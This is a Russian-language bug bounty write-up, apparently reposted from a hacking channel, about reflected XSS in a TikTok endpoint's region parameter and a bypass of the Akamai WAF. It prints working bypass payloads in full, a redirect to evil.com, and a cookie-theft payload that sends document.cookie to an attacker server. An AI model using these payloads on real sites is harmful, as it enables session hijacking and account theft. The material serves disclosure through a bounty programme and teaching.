
Это была очередная обыкновенная ночь. Мой друг попросил меня зайти поиграть в Valorant — типичный вечерний ритуал. Но по какой-то причине я отказался. Вместо этого я запустил Burp Suite и начал искать баги (мое лучшее решение когда-либо, потому что в ту ночь я нашел три бага в TikTok, которые в итоге принесли мне $3,000).
Разведка
Мое путешествие началось с простой разведки. Я использовал urlscan.io, чтобы просканировать конечные точки, связанные с доменами TikTok. После недолгого ожидания у меня появился огромный список — примерно 10,000 URL.
Прокручивая его вручную (да, вручную), я заметил конечную точку с путём, который выглядел как функция совместного использования кампании. В URL было несколько параметров, что мгновенно вызвало мой интерес.
Я начал играть с параметром region. Чтобы протестировать отражение, я вставил эту безобидную полезную нагрузку:
?region=id'"><u>testest</u>
Угадайте что произошло?
Все отразилось без искажений. Никакой очистки. Никакой кодировки.
WAF вступает в игру — Akamai
Я подумал: "Хорошо... это может быть интересно." Я протестировал с классической нагрузкой:
"><img src=x>
Заблокировано Akamai (WAF TikTok). И не просто WAF... а один из лучших. Игра началась...
Попытки обойти защиту
Я начал изучать техники обхода Akamai WAF. Нашел несколько интересных статей об обфускации строк, чувствительности к регистру и тег evasion.
Несколько простых попыток:
</ScRiPt> → blocked
</SCRIPT> → blocked
</ScRpt> → not blocked, but also invalid
</Script+xxx> → bypassed briefly, but eventually got filtered again
Я знал, что мне нужно что-то более креативное.
Эволюция полезной нагрузки
После нескольких неудачных попыток я придумал эту странно выглядящую, но эффективную строку:
}<x>xxx<!--><!>+>+></Script+xxx></script%20x></x><x>xxx<!--><!>+>+>
Она обошла фильтрацию — но alert(), confirm() и prompt() были заблокированы во время выполнения. Так что я решил действовать осторожно и сообщил об ошибке, используя open redirect payload, чтобы избежать возможных дубликатов.
Полная полезная нагрузка была довольно сложной и выглядела примерно так:
}<x>xxx<!--><!>+>+></Script+xxx><Script+xxx>Object.prototype.BOOMR = 1;
Object.prototype.url = '
https://portswigger-labs.net/xss/xss.js
';
location.replace('
https://evil.com');</script%20x></x><x>xxx<!--><!>+>+
>
Через два дня я получил ответ от HackerOne Triage:

Создание реального XSS
Я вернулся к истокам. Поскольку прямой вызов alert() был заблокирован, я попытался обойти это, используя обфускацию:
window/*xxx*/ ;
Полная нагрузка:
<x>xxx<!--><!>+>+></Script+xxx><script%20x>window/*xxx*/['al'%2b'ert'](1);//</script%20x></x><x>xxx<!--><!>+>+>
Это сработало. Я обновил свой PoC и отправил его снова.
Мне ответили:

Вызов принят...
Я перешел к краже куки с использованием моей финальной полезной нагрузки:
window/*xxx*/['loca' + 'tion'] = 'http://<your-server>?cookie=' + document/*xxx*/['coo' + 'kie'];

Бум! XSS подтвержден. Позже, в этот же день, я получил награду в размере $1,000.

Бонусный раунд: Ещё два бага
После этой победы я продолжил исследовать другие конечные точки. В конце концов, я нашёл ещё две с идентичными уязвимостями.
Та же техника. Тот же XSS. Тот же приз: $1,000 за каждый.
? Финальный подсчёт
Первый баг: $1,000
Второй баг: $1,000
Третий баг: $1,000
➡️ Всего: $3,000
Той ночью мне так и не удалось поиграть в Valorant.
Заключительные мысли для коллег-хакеров
Баг-баунти — это не только навыки, но и терпение, сбор информации, креативность и тайминг. Иногда отказ от приглашения поиграть может сделать вас богаче на несколько тысяч долларов ?
Всем охотникам: никогда не недооценивайте отраженные параметры. Самые простые ошибки могут привести к самым неожиданным наградам — если вы знаете, как правильно подготовить свои полезные нагрузки.
Продолжайте учиться, будьте в безопасности.
Счастливого хакерства.
Еще больше познавательного контента в Telegram-канале — Life-Hack - Хакер